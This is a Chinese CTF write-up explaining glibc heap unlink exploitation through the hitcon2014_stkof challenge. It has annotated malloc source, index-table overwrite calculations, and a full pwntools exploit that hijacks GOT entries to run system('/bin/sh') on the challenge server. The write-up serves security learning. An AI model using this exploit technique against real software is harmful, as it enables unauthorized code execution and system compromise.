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Unlink

unlink是完成堆题的一种技巧

打buuctf的时候正好碰到了题目学习后来记一下

0x01 源码入手

据说老版的unlink和新版的unlink有不同

老版的unlink是没有检测的

碰到的题目是2.23的libc看了下源码好像是有检测的，不知道老版是啥时候的了

先来看看_int_free函数中的部分代码，前面的就先不看了，看着累..技术不够也不能完全看懂

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if (!prev_inuse(p)) {								//判断当前堆块的inuse位，如为0则进入
      prevsize = p->prev_size;                      
      size += prevsize;                             //当前堆块的size加上前一个堆块的size
      p = chunk_at_offset(p, -((long) prevsize));   //将指向当前堆块的指针指向上一个被释放的堆块
      unlink(av, p, bck, fwd);						//进行unlink操作
    }

如果上一个堆块是被释放的则进入unlink让2个堆块合并

再来看看unlink

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#define unlink(AV, P, BK, FD) {                                            \          //这里的P为上一个堆块
    FD = P->fd;								      \                                   //FD的值为P->fd
    BK = P->bk;								      \                                   //BK的值为P->bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \    //FD设为堆索引表-0x10的值，BK设为堆索引表-0x18的值
    else {								      \
        FD->bk = BK;							      \                              //FD+0x10的值改为P->bk
        BK->fd = FD;							      \                              //BK+0x18的值改为P->fd
       .............										//下面的用不到就先不看了
      }									      \
}

一般堆题都有堆块索引表，在bss段里面，所有申请出来的堆块指针存入索引表中

（因为堆题做得少不敢说全部都有..）

unlink可以实现任意写的漏洞，通过修改堆块索引表GetShell

下面来看道题目理解下

0x02 hitcon2014_stkof

其实网上很多unlink相关的文章都是用这道题的，不过写一篇加深下印象也挺好

先来看主函数

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__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v5; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  while ( fgets(nptr, 10, stdin) )
  {
    v3 = atoi(nptr);
    if ( v3 == 2 )
    {
      v5 = edit();
      goto LABEL_14;
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        v5 = e();
        goto LABEL_14;
      }
      if ( v3 == 4 )
      {
        v5 = output();
        goto LABEL_14;
      }
    }
    else if ( v3 == 1 )
    {
      v5 = add();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

这道题因为没有菜单函数看着还是有点难受的，进去读了函数功能可以知道

编号 功能 参数 返回值
1 create size 成功返回申请的是第几个堆块和OK，失败FAIL
2 edit index, size, content 成功OK，失败FAIL
3 free index 成功OK，失败FAIL

4功能无用，不能输出堆块中的内容所以就不看了

各功能就不详细进去看了，因为没有什么特别的地方，edit存在堆溢出，可以指定size溢出到下一个堆块

在bss的0x602100记载了堆块的数量

0x602140为堆块的索引表

直接来动态看看吧

先申请0x100，0x30，0x80三块堆

分配0x100好像是因为这题没有setbuf，所以要申请一个大堆块避免被映影响，详细不是很清楚以后学到了再写吧

主要关注0x30和0x80，堆索引表在0x602140，可以到申请的几个堆块

接下来要在0x30的堆块中构造fake chunk来绕过unlink检测

这里直接贴被修改后的堆块再来解释

0x2c0c540就是构造的fake chunk

结合上面的代码看需要绕过

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if (!prev_inuse(p))

所以被释放的堆块inuse位要修改为0，也就是0x90

下面是bk和fd

0x2c0c570是prevsize，用来表示上一个堆块的大小

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size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));

在这里用到

这时候的p为0x2c0c540，进入unlink

unlink有四个参数，AV用不到可以不管

另外的就是p还有fd和bk

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#define unlink(AV, P, BK, FD) {                                            \ 
    FD = P->fd;								      \   
    //P->fd存入FD		根据上图此时FD=0x0000000000602138		FD=*(P+0x10)
    BK = P->bk;								      \  
    //P->bk存入BK		BK=0x0000000000602140				BK=*(P+0x18)
     //需要绕过该判断，绕过判断需要FD->bk==P&&BK->fd==P	P=0x2c0c540
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \ 						      \
}

来看看索引表

来计算下

FD->bk = *(0x602138+0x18) = 0x2c0c540

BK->fd = *(0x602140+0x10) = 0x2c0c540

这样就绕过判断走到下面了

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else {								      \
      	//FD=0x0000000000602138	
    	//BK=0x0000000000602140
       FD->bk = BK;				//将FD->bk位置的值改为0x602140，FD->bk=0x602138+0x18=0x602150	*(0x602150)=0x602140
       BK->fd = FD;				//将BK->fd位置的值改为0x602138，BK->fd=0x602140+0x10=0x602150	*(0x602150)=0x602138
      .............
     }

最后0x602150的就指向了0x602138，修改了堆块索引表

到这步就很简单了

接下来只要修改第二个堆块就会找到0x0000000000602138

将索引里面的地址改为got泄露出libc地址后再将atoi的got表修改为system

在输入编号的时候输入/bin/sh就完成了

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payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])

edit(2, len(payload), payload)

先将索引堆块改为这样，加个0是因为索引表是0x602140开始的，但是写的是0x602138开始的

修改后的索引表是这样的

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payload = p64(puts_plt)

edit(0,len(payload),payload)

将索引0的位置改为puts@plt，这里本来是free函数

这样调用free就相当于调用了puts

再释放索引1位置也就是打印puts@got得到libc中puts函数的地址

得到基址算出system函数的地址覆盖到索引2上也就是atoi@got

得到libc里/bin/sh的指针

在atoi接收参数的时候输入/bin/sh的指针就相当于system(“/bin/sh”)了

最后GetShell

贴一下完整的exp

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from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
pwnfile = "./stkof"
# io = process(pwnfile)
elf = ELF(pwnfile)

host = "node4.buuoj.cn"
port = 29286
io = remote(host, port)

def create(size):
	io.sendline(str(1))
	io.sendline(str(size))
	io.recvuntil("OK\n")
	#	sleep(1)

def edit(index, size, content):
	io.sendline(str(2))
	io.sendline(str(index))
	io.sendline(str(size))
	io.send(content)
	io.recvuntil("OK\n")

	sleep(1)
	#b *0x4009E8

def delete(index):
	io.sendline(str(3))
	io.sendline(str(index))
	# io.recvuntil("OK")
	sleep(1)
	#b *0x400B07



heap_array = 0x602140
puts_plt = 0x400760

create(0x100)
create(0x30)
create(0x80)

# gdb.attach(io, "b *0x400b06")
# pause()

payload = p64(0)  #prev_size
payload += p64(0x30)  #size
payload += p64(heap_array + 16 - 0x18)  #fd
payload += p64(heap_array + 16 - 0x10)  #bk
payload = payload.ljust(0x30, '\x00')
payload += p64(0x30)
payload += p64(0x90)

edit(2, len(payload), payload)

delete(3)

payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])

edit(2, len(payload), payload)

payload = p64(puts_plt)

# gdb.attach(io, "b *0x400b06")
# pause()
edit(0,len(payload),payload)

delete(1)
puts_addr = u64(io.recv()[3:9].ljust(8,'\x00'))
log.success(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
base = puts_addr - libc.dump('puts')

log.success(hex(base))
# gdb.attach(io, "b *0x4009E8")
# pause()

system_addr = base + libc.dump('system')
bin_sh_addr = base + libc.dump('str_bin_sh')

payload = p64(system_addr)
edit(2,len(payload),payload)
io.send(p64(bin_sh_addr))


io.interactive()
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Macchiato
2023-03-09
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